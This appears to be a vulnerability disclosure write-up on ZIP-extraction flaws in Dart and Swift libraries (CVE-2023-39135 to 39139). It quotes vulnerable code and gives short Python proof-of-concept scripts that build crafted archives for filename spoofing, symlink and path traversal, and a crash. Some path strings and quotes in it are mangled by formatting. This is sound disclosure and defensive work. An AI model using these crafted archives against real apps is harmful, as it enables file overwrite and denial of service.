Headline
CVE-2023-39139: Ostorlab: Mobile App Security Testing for Android and iOS
An issue in Archive v3.3.7 allows attackers to execute a path traversal via extracting a crafted zip file.
Introduction
ZIP packages are compressed archives that contain multiple files and directories, allowing developers to conveniently bundle resources, libraries, and other components required for app functionality. While ZIP packages offer efficiency and ease of use, they can also be the source of potential security vulnerabilities that malicious actors can exploit.
This article will delve into the security of zip-handling implementation, showcasing vulnerabilities in popular Zip libraries in the Swift and Dart (Flutter) ecosystems. We will explore the potential risks associated with malicious ZIP packages and the consequences they can have on mobile application security. Furthermore, we will discuss best practices and effective strategies to ensure the robust protection of ZIP packages throughout the development lifecycle.
Anatomy of ZIP file
ZIP files typically follow this layout:
±-----------------------------------------------------+ |LocalFileHeader| |±---------------------------------------------+| ||LocalFileHeaderSignature(4bytes)|| ||VersionNeededtoExtract(2bytes)|| ||GeneralPurposeBitFlag(2bytes)|| ||CompressionMethod(2bytes)|| ||LastModTime(2bytes)|| ||LastModDate(2bytes)|| ||CRC-32Checksum(4bytes)|| ||CompressedSize(4bytes)|| ||UncompressedSize(4bytes)|| ||FilenameLength(2bytes)|| ||ExtraFieldLength(2bytes)|| |±---------------------------------------------+| ||Filename(variablelength)|| |||| |±---------------------------------------------+| ||ExtraField(variablelength)|| |||| |±---------------------------------------------+| |CompressedData| || |±---------------------------------------------+| ||DataDescriptor(optional)|| ||±-----------------------------------------+|| |||CRC-32Checksum(4bytes)||| |||CompressedSize(4bytes)||| |||UncompressedSize(4bytes)||| ||±-----------------------------------------+|| |±---------------------------------------------+| ±-----------------------------------------------------+ ±-----------------------------------------------------+ |CentralDirectory| |±---------------------------------------------+| ||CentralDirectoryFileHeader|| ||±-------------------------------------+|| |||CentralDirectoryHeaderSignature||| |||VersionMadeby(2bytes)||| |||VersionNeededtoExtract(2bytes)||| |||GeneralPurposeBitFlag(2bytes)||| |||…||| ||±-------------------------------------+|| |||CRC-32Checksum(4bytes)||| |||CompressedSize(4bytes)||| |||UncompressedSize(4bytes)||| |||FilenameLength(2bytes)||| |||…||| ||±-------------------------------------+|| |||Filename(variablelength)||| |||||| ||±-------------------------------------+|| |±---------------------------------------------+| ±-----------------------------------------------------+ ±-----------------------------------------------------+ |EndofCentralDirectoryRecord| |±---------------------------------------------+| ||EndofCentralDirectorySignature(4bytes)|| ||…|| |±---------------------------------------------+| ±-----------------------------------------------------+
Notable parts of the zip structure are:
Local File Header: The Local File Header is a section at the beginning of each file within a ZIP archive. It contains essential information about the compressed file, such as its name, size, compression method, and other attributes. This header allows the software to locate and extract individual files from the ZIP archive.
Data Descriptor: The Data Descriptor is an optional section within the ZIP file format. It provides additional information about a file’s compressed data. The purpose of the Data Descriptor is to store the CRC-32 checksum of the uncompressed data, the compressed size, and the uncompressed size. Including this information allows for integrity checks and can be useful when extracting files.
Central Directory File Header: The Central Directory File Header is a section in a ZIP file that contains metadata about each file within the archive. It provides details such as the file name, compressed size, uncompressed size, compression method, and other attributes. The Central Directory File Header is located in the central directory structure, a catalog of all the files in the ZIP archive.
End of Central Directory Record (EOCD): The End of Central Directory (EOCD) Record is a section at the end of a ZIP file that marks the end of the central directory structure. It contains essential information, including the number of entries in the central directory, the size of the central directory, and the offset to the start of the central directory. The EOCD record allows the software to locate and access the central directory, which provides information about the files in the ZIP archive.
Common ZIP vulnerabilities:
ZIP path traversal: Zip path traversal, also known as Zip Slip, is a security vulnerability that occurs when the application fails to validate zip entries’ file names during extraction. It allows an attacker to extract files to arbitrary locations outside the extraction directory, which helps overwrite sensitive user data and, in some cases, can lead to code execution if an attacker overwrites an application’s shared object file.
ZIP filename spoofing: In the context of ZIP archives, there are two main data structures relevant to file names: the Central Directory Entry and the Local File Header, if a parser for example, reads the filename from Local File Header but then proceeds to extract the file with the path in the Central Directory Entry.
ZIP symlink path traversal: ZIP symlink is a feature used in many zip utilities that allows those symlinks to point to files outside the extraction directory. This can pose a security risk, leading to overwriting sensitive data or shared object files, which might lead to code execution.
ZIP Bomb: A zip bomb is a small-sized zip file that contains an enormous amount of compressed data. When extracted, it expands into a huge file or consumes excessive system resources, potentially causing denial-of-service (DoS).
ZIP packages to analyze****Archive
One of the popular flutter packages for handling compressed files is archive by Brendan Duncan, this package implements popular archive formats natively in Dart without having to go through the native platform-specific packages like java.util.zip for android or ZIPFoundation for iOS.
Language: Dart (Flutter)
Link: https://pub.dev/packages/archive
Flutter_archive
flutter_archive is another Flutter package for compressed files that work exclusively with zip files, this package relies on Java’s native zip package java.util.zip by leveraging Flutter’s MethodChannel.
Language: Dart (Flutter)
Link: https://pub.dev/packages/flutter_archive
ZIPFoundation
ZIPFoundation is a library to create, read and modify ZIP archive files. It is written in Swift and based on Apple’s libcompression for high performance and energy efficiency.
Language: Swift
Link: https://github.com/weichsel/ZIPFoundation
ZIP
Zip is a Swift framework for zipping and unzipping files. Simple and quick to use. Built on top of minizip.
Language: Swift
Link: https://github.com/marmelroy/Zip
ZIPArchive (SSZIPArchive)
ZipArchive is a simple utility class for zipping and unzipping files on iOS, macOS and tvOS.
Language: Swift
Link: https://github.com/ZipArchive/ZipArchive
Detected vulnerabilities****Package: Archive****ZIP filename spoofing (CVE-2023-39137)
archive package only parses the filename from the Local File Header, this leads to inconsistency with most zip parsers who typically favor Central Directory Entry, this inconsistency can be abused by attackers who can craft a malicious zip file with different file names in Local File Header and Central Directory Entry, consequently having a file with different filenames before and after extraction.
Stringfilename=’’; List<int>extraField=[]; StringfileComment=’’; ZipFile?file;
ZipFileHeader( [InputStreamBase?input,InputStreamBase?bytes,String?password]){ if(input!=null){ versionMadeBy=input.readUint16(); versionNeededToExtract=input.readUint16(); generalPurposeBitFlag=input.readUint16(); compressionMethod=input.readUint16(); lastModifiedFileTime=input.readUint16(); lastModifiedFileDate=input.readUint16(); crc32=input.readUint32(); compressedSize=input.readUint32(); uncompressedSize=input.readUint32(); finalfnameLen=input.readUint16(); finalextraLen=input.readUint16(); finalcommentLen=input.readUint16(); diskNumberStart=input.readUint16(); internalFileAttributes=input.readUint16(); externalFileAttributes=input.readUint32(); localHeaderOffset=input.readUint32();
if(fnameLen>0){ filename=input.readString(size:fnameLen); }
To test this, we crafted a zip file with different filename field values evil.apk and evil.txt respectively for Local File Header and Central Directory Entry
Proof of concept code:
import zipfile
def generate_spoofed_zip(filename): with zipfile.ZipFile('payload.zip’, ‘w’) as zipf: zipf.writestr(filename, “Test payload”)
with open('payload.zip', 'rb') as zipf:
zip_data = zipf.read()
spoofed_data = zip_data.replace(bytes(filename, 'utf-8'), bytes(spoofed_filename, 'utf-8'), 1)
with open('payload.zip', 'wb') as zipf:
zipf.write(spoofed_data)
original_filename = ‘evil.txt’ spoofed_filename = ‘evil.apk’
if len(original_filename) != len(spoofed_filename): raise ValueError(“Filenames lengths must be equal”)
generate_spoofed_zip(original_filename)
when we ran zipinfo utility over our zip file, the filename inside was parsed as evil.txt
However, after extracting the file using extractFileToDisk function from archive package, the filename was parsed as evil.apk
ZIP symlink path traversal (CVE-2023-39139)
Another interesting finding we found while inspecting the package was not only it links symlinks back after extraction, it also links ones pointing to any path, even outside the extraction directory.
for(finalfileinarchive.files){ finalfilePath=p.join(outputPath,p.normalize(file.name));
if(!isWithinOutputPath(outputPath,filePath)){ continue; }
if(!file.isFile&&!file.isSymbolicLink){ Directory(filePath).createSync(recursive:true); continue; }
if(asyncWrite){ if(file.isSymbolicLink){ finallink=Link(filePath); awaitlink.create(p.normalize(file.nameOfLinkedFile),recursive:true); }else{ finaloutput=File(filePath); finalf=awaitoutput.create(recursive:true); finalfp=awaitf.open(mode:FileMode.write); finalbytes=file.contentasList<int>; awaitfp.writeFrom(bytes); file.clear(); futures.add(fp.close()); }
To test that we created a symlink evil pointing to a file (secret.txt) in the parent directory, we zipped that symlink using the command zip --symlinks poc.zip evil and extracted poc.zip on an Android test device using extractFileToDisk function.
Proof of concept code:
import zipfile
def compress_file(filename): zipInfo = zipfile.ZipInfo(“.”) zipInfo.create_system = 3 zipInfo.external_attr = 2716663808 zipInfo.filename = filename
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(zipInfo, "/etc/hosts")
filename = ‘evil’
compress_file(filename)
Upon extracting the zip file, the symlink was linked back and pointing to …/secret.txt, outside the extraction directory.
Package: ZIPFoundation****ZIP symlink path traversal (CVE-2023-39138)
Upon extraction, the package passes the path coming from the zip entry directly to fileManager.createSymbolicLink without checking that it is located within extraction directory, we replicated the same test above and found this package too allows symlinks pointing outside the extraction directory.
case .symlink: guard !fileManager.itemExists(at: url) else { throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path]) } let consumer = { (data: Data) in guard let linkPath = String(data: data, encoding: .utf8) else { throw ArchiveError.invalidEntryPath } try fileManager.createParentDirectoryStructure(for: url) try fileManager.createSymbolicLink(atPath: url.path, withDestinationPath: linkPath) } checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32, progress: progress, consumer: consumer) }
ZIP path traversal (CVE-2023-39138)
the package uses the function isContained to check that the zip entry path is located within the extraction directory:
func isContained(in parentDirectoryURL: URL) -> Bool { // Ensure this URL is contained in the passed in URL let parentDirectoryURL = URL(fileURLWithPath: parentDirectoryURL.path, isDirectory: true).standardized return self.standardized.absoluteString.hasPrefix(parentDirectoryURL.absoluteString) } … guard entryURL.isContained(in: destinationURL) else { throw CocoaError(.fileReadInvalidFileName, userInfo: [NSFilePathErrorKey: entryURL.path]) } … crc32 = try archive.extract(entry, to: entryURL, skipCRC32: skipCRC32, progress: entryProgress)
Below is a code snippet of the extract function:
public func extract(_ entry: Entry, to url: URL, bufferSize: Int = defaultReadChunkSize, skipCRC32: Bool = false, progress: Progress? = nil) throws -> CRC32 { guard bufferSize > 0 else { throw ArchiveError.invalidBufferSize } let fileManager = FileManager() var checksum = CRC32(0) switch entry.type { case .file: guard !fileManager.itemExists(at: url) else { throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path]) } try fileManager.createParentDirectoryStructure(for: url) let destinationRepresentation = fileManager.fileSystemRepresentation(withPath: url.path) guard let destinationFile: FILEPointer = fopen(destinationRepresentation, “wb+”) else { throw POSIXError(errno, path: url.path) } defer { fclose(destinationFile) } let consumer = { _ = try Data.write(chunk: $0, to: destinationFile) } checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32, progress: progress, consumer: consumer)
When provided with the following path /base_path/extraction_directory//…/ the path gets normalized to /base_path/extraction_directory/entry_file_name which passes the check above. When that same path is passed to fopen, it gets normalized to /base_path/entry_file_name, allowing us to write files outside the extraction directory.
Proof of concept code:
import zipfile
def compress_file(filename): with zipfile.ZipFile('payload.zip’, ‘w’) as zipf: zipf.writestr(filename, “Test payload”)
filename = ‘/…/secret.txt’
compress_file(filename)
Package: Zip****ZIP path traversal (CVE-2023-39135)
Below is a code snippet from the unzipFile function used to extract zip files, you can notice that pathString coming from our zip entry is appended to the destination directory without any sanitization
let fileNameSize = Int(fileInfo.size_filename) + 1 //let fileName = UnsafeMutablePointer<CChar>(allocatingCapacity: fileNameSize) let fileName = UnsafeMutablePointer<CChar>.allocate(capacity: fileNameSize)
unzGetCurrentFileInfo64(zip, &fileInfo, fileName, UInt(fileNameSize), nil, 0, nil, 0) fileName[Int(fileInfo.size_filename)] = 0
var pathString = String(cString: fileName)
guard pathString.count > 0 else { throw ZipError.unzipFail }
var isDirectory = false let fileInfoSizeFileName = Int(fileInfo.size_filename-1) if (fileName[fileInfoSizeFileName] == "/".cString(using: String.Encoding.utf8)?.first || fileName[fileInfoSizeFileName] == "\".cString(using: String.Encoding.utf8)?.first) { isDirectory = true; } free(fileName) if pathString.rangeOfCharacter(from: CharacterSet(charactersIn: “/\”)) != nil { pathString = pathString.replacingOccurrences(of: "\", with: “/”) }
let fullPath = destination.appendingPathComponent(pathString).path
Proof of concept code:
import zipfile
def compress_file(filename): with zipfile.ZipFile('payload.zip’, ‘w’) as zipf: zipf.writestr(filename, “Test payload”)
filename = ‘…/secret.txt’
compress_file(filename)
Package: ZIPArchive (SSZIPArchive)****Denial of Service (CVE-2023-39136)
Below is a code snippet from the _sanitizedPath function used to sanitize zip entries filenames, the code prepends file:/// prefix to the zip entry path, standardizes it using NSURL then removes the prepended prefix, however when presented with /… as a path, the output of NSURL becomes file://, which has 7 characters while the code expects at least 8 characters, this unhandled edge case leads to crashing the application.
if (strPath == nil) { return nil; }
// Add scheme “file:///” to support sanitation on names with a colon like “file:a/…/…/…/usr/bin” strPath = [@"file:///" stringByAppendingString:strPath];
// Sanitize path traversal characters to prevent directory backtracking. Ignoring these characters mimicks the default behavior of the Unarchiving tool on macOS. // “…/…/…/…/…/…/…/…/…/…/…/tmp/test.txt” -> “tmp/test.txt” // “a/b/…/c.txt” -> “a/c.txt” strPath = [NSURL URLWithString:strPath].standardizedURL.absoluteString;
// Remove the “file:///” scheme strPath = [strPath substringFromIndex:8];
Proof of concept code:
import zipfile
def compress_file(filename): with zipfile.ZipFile('payload.zip’, ‘w’) as zipf: zipf.writestr(filename, “Test payload”)
filename = ‘/…’
compress_file(filename)
Summary table
Package
Language
ZIP Filename Spoofing
ZIP Symlink
ZIP Path Traversal
Denial of Service
Archive
Dart (Flutter)
Vulnerable
Not Vulnerable
Not Vulnerable
Not Vulnerable
Flutter_archive
Dart (Flutter)
Not Vulnerable
Not Vulnerable
Not Vulnerable
Not Vulnerable
ZIPFoundation
Swift
Not Vulnerable
Vulnerable
Vulnerable
Not Vulnerable
ZIP
Swift
Not Vulnerable
Not Vulnerable
Vulnerable
Not Vulnerable
ZIPArchive
Swift
Not Vulnerable
Not Vulnerable
Not Vulnerable
Vulnerable
Conclusion
In conclusion, ZIP vulnerabilities pose significant security risks that developers should be aware of when handling archive files. The ZIP file format, although widely used and supported, is not immune to exploitation. Understanding and addressing these vulnerabilities is essential to safeguarding sensitive data and preventing potential attacks.
This article has highlighted several common ZIP vulnerabilities, including ZIP path traversal, ZIP filename spoofing, ZIP symlink vulnerability, and ZIP bomb attacks. Each of these vulnerabilities exposes different risks, such as unauthorized access to files, overwriting sensitive data, denial-of-service (DoS) and even code execution in some scenarios.
It is important for developers to implement robust security measures when working with ZIP files. This includes validating zip entry file names during extraction to prevent path traversal attacks, ensuring consistency between the filenames in the Local File Header and Central Directory Entry to mitigate filename spoofing, restricting access permissions for extracted files, and implementing proper decompression techniques to prevent DoS situations caused by ZIP bombs.
Additionally, it is crucial to stay informed about security updates and patches related to ZIP libraries or packages used in development frameworks. Regularly reviewing and updating these dependencies can help mitigate known vulnerabilities and protect against emerging threats.
It is worth mentioning that the issues discussed in this article were reported to the concerned authors.
Related news
An issue in Archive v3.3.7 allows attackers to spoof zip filenames which can lead to inconsistent filename parsing.
An issue in Zip Swift v2.1.2 allows attackers to execute a path traversal attack via a crafted zip entry.
An issue in Archive v3.3.7 allows attackers to execute a path traversal via extracting a crafted zip file.
An issue in ZIPFoundation v0.9.16 allows attackers to execute a path traversal via extracting a crafted zip file.
An unhandled edge case in the component _sanitizedPath of ZipArchive v2.5.4 allows attackers to cause a Denial of Service (DoS) via a crafted zip file.
An issue in Zip Swift v2.1.2 allows attackers to execute a path traversal attack via a crafted zip entry.
An issue in ZIPFoundation v0.9.16 allows attackers to execute a path traversal via extracting a crafted zip file.